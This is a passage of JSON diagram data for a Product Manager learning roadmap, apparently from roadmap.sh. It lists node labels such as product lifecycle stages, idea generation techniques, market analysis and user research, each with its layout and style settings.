\"selectable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 232\n      }\n    },\n    {\n      \"id\": \"l6NjkNch2LH4BDhxXUoDK\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 900.025172777855,\n        \"y\": 66.3113337289081\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 285,\n      \"height\": 288,\n      \"style\": {\n        \"width\": 285,\n        \"height\": 288\n      },\n      \"positionAbsolute\": {\n        \"x\": 900.025172777855,\n        \"y\": 66.3113337289081\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 288\n      }\n    },\n    {\n      \"id\": \"jIsN1OBs039cLtxTqyptd\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 512.22181463284,\n        \"y\": -1.688666271091904\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Product Manager\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 261,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": 512.22181463284,\n        \"y\": -1.688666271091904\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"luk1vnpy0duneVjen8WzO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 121.47769562456426,\n        \"y\": 101.42893853043915\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What is Product Management?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 121.47769562456426,\n        \"y\": 101.42893853043915\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 309,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 309,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"V-IeFB9S2tToxANHIzpMs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 121.47769562456426,\n        \"y\": 154.42893853043915\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Product vs Project Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5W-3jh1-4qSU5kagrWv9z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 121.47769562456426,\n        \"y\": 154.42893853043915\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 309,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 309,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Dx6ee8P_Agpw1MLKlAPGI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 121.47769562456426,\n        \"y\": 207.42893853043915\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Roles and Responsibilities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5W-3jh1-4qSU5kagrWv9z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 121.47769562456426,\n        \"y\": 207.42893853043915\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 309,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 309,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5W-3jh1-4qSU5kagrWv9z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 121.47769562456426,\n        \"y\": 260.42893853043915\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Key Skills\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"luk1vnpy0duneVjen8WzO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 121.47769562456426,\n        \"y\": 260.42893853043915\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 309,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 309,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Bukgs2nDydajjwj7WwzIT\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 632.22181463284,\n        \"y\": -110.95856567057746\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 102,\n      \"positionAbsolute\": {\n        \"x\": 632.22181463284,\n        \"y\": -110.95856567057746\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 102\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 102\n      }\n    },\n    {\n      \"id\": \"kB8e26BUm8BpTY1_O3N3_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 900.025172777855,\n        \"y\": 26.31064830374146\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Product Development Lifecycle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"luk1vnpy0duneVjen8WzO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 900.025172777855,\n        \"y\": 26.31064830374146\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 285,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5okUFVMuG6mjRki4fyCcF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 910.025172777855,\n        \"y\": 82.6923580770437\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Development\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kB8e26BUm8BpTY1_O3N3_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 910.025172777855,\n        \"y\": 82.6923580770437\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GoYEAU_lZ186M3IJY48O6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 910.025172777855,\n        \"y\": 135.6923580770437\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5okUFVMuG6mjRki4fyCcF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 910.025172777855,\n        \"y\": 135.6923580770437\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ke5vl9p3ouupjVmgU5IKw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 910.025172777855,\n        \"y\": 188.6923580770437\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Growth\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GoYEAU_lZ186M3IJY48O6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 910.025172777855,\n        \"y\": 188.6923580770437\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aUJTPvO9Eb1UOD0MIY4Mf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 910.025172777855,\n        \"y\": 241.6923580770437\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Maturity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ke5vl9p3ouupjVmgU5IKw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 910.025172777855,\n        \"y\": 241.6923580770437\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yOve7g_05UMpXHcGpdZcW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 910.025172777855,\n        \"y\": 294.6923580770437\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Decline\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aUJTPvO9Eb1UOD0MIY4Mf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 910.025172777855,\n        \"y\": 294.6923580770437\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 833.2357162642066,\n        \"y\": -167.8282364125966\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 833.2357162642066,\n        \"y\": -167.8282364125966\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 846.4390906770068,\n        \"y\": -85.84267299485134\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 846.4390906770068,\n        \"y\": -85.84267299485134\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Hk61DnFkfaeuxO2LSupMS\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 543.72181463284,\n        \"y\": 421.9173334255838\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Idea Generation\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": 543.72181463284,\n        \"y\": 421.9173334255838\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"beca7sTxYY06RwNn5jpZM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 137.61723142037033,\n        \"y\": 351.4755158284552\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mind Mapping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"luk1vnpy0duneVjen8WzO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 137.61723142037033,\n        \"y\": 351.4755158284552\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0emyqhl028_M6tdilfFC3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 137.61723142037033,\n        \"y\": 405.4755158284552\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Brainwriting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"beca7sTxYY06RwNn5jpZM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 137.61723142037033,\n        \"y\": 405.4755158284552\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uLSPKcypF06AhzoeNVtDk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 137.61723142037033,\n        \"y\": 459.4755158284552\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SCAMPER\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0emyqhl028_M6tdilfFC3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": 137.61723142037033,\n        \"y\": 459.4755158284552\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"69IgqluiW9cVfezSIKInD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 127.11723142037033,\n        \"y\": 521.9173334255838\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Brainstorming Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"beca7sTxYY06RwNn5jpZM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 127.11723142037033,\n        \"y\": 521.9173334255838\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8epVLkRSIDKt3_NxK0sZ7\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 123.47240182924656,\n        \"y\": 619.5104193872304\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"MeiyH5JgagSgP24QNKmbK\"\n      },\n      \"zIndex\": -999,\n      \"width\": 252,\n      \"height\": 230,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 230\n      },\n      \"positionAbsolute\": {\n        \"x\": 123.47240182924656,\n        \"y\": 619.5104193872304\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 230\n      }\n    },\n    {\n      \"id\": \"vP4tfzP-hOiAsv4K4RsQy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 133.0359368569084,\n        \"y\": 677.0686017901018\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Discovery\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"beca7sTxYY06RwNn5jpZM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 133.0359368569084,\n        \"y\": 677.0686017901018\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"toc34xxsB_tnHtekk1UmN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 259.4724018292467,\n        \"y\": 676.3825573306648\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Selection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0emyqhl028_M6tdilfFC3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 259.4724018292467,\n        \"y\": 676.3825573306648\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fK3ZaX7Amna1oa_T5axVk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 133.0359368569084,\n        \"y\": 731.0686017901018\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Validation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LhNgyNDeqCAD--dAzf6u8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 133.0359368569084,\n        \"y\": 731.0686017901018\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1HytzY1KRYIQWoQa5FMwY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 123.47240182924656,\n        \"y\": 618.3088910112663\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Iterative Process\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DEwte-c-jxAFpiaBXAPSO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 123.47240182924656,\n        \"y\": 618.3088910112663\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LhNgyNDeqCAD--dAzf6u8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 133.0359368569084,\n        \"y\": 785.0686017901018\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Execution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uLSPKcypF06AhzoeNVtDk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 133.0359368569084,\n        \"y\": 785.0686017901018\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gjdCSm_jZmG_q6YjG_8Qu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 454.22181463284005,\n        \"y\": 664.5104193872304\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Blue Ocean Strategy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aBJUQvgXmvpLPOhpDTn7l\"\n      },\n      \"zIndex\": 999,\n      \"width\": 377,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 454.22181463284005,\n        \"y\": 664.5104193872304\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 377,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 377,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DEwte-c-jxAFpiaBXAPSO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 454.22181463284005,\n        \"y\": 718.5104193872304\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"TRIZ (Theory of Inventive Problem Solving)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"69IgqluiW9cVfezSIKInD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 377,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 454.22181463284005,\n        \"y\": 718.5104193872304\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 377,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 377,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aBJUQvgXmvpLPOhpDTn7l\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 454.22181463284005,\n        \"y\": 772.5104193872304\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Problem Framing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DEwte-c-jxAFpiaBXAPSO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 377,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 454.22181463284005,\n        \"y\": 772.5104193872304\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 377,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 377,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fmpJB_14CYn7PVuoGZdoz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 495.72181463284005,\n        \"y\": 565.9173334255838\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Product Identification\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YPqdrZguH0ArEFSe-VwKS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 495.72181463284005,\n        \"y\": 565.9173334255838\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 294,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Eusp5p6gNIxtU_yVvOkmu\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 925.9592791031062,\n        \"y\": 864.4453536260916\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Market Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YPqdrZguH0ArEFSe-VwKS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 925.9592791031062,\n        \"y\": 864.4453536260916\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8LAy6uBfrdtrjF8ygAGoo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 582.0510680012198,\n        \"y\": 1077.9722000809688\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"User Research\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YPqdrZguH0ArEFSe-VwKS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 582.0510680012198,\n        \"y\": 1077.9722000809688\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YPqdrZguH0ArEFSe-VwKS\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 583.0510680012198,\n        \"y\": 1197.0269048371872\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Positioning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KYkZX-u-Pfsjxa6fKUaSH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 583.0510680012198,\n        \"y\": 1197.0269048371872\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LkDLk6DsEvbFXZPGOhD0C\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 583.0510680012198,\n        \"y\": 864.4453536260916\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Identifying Market Needs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gjdCSm_jZmG_q6YjG_8Qu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 250,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 583.0510680012198,\n        \"y\": 864.4453536260916\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PBDlYIyS8LAyPE6tV-kU7\",\n      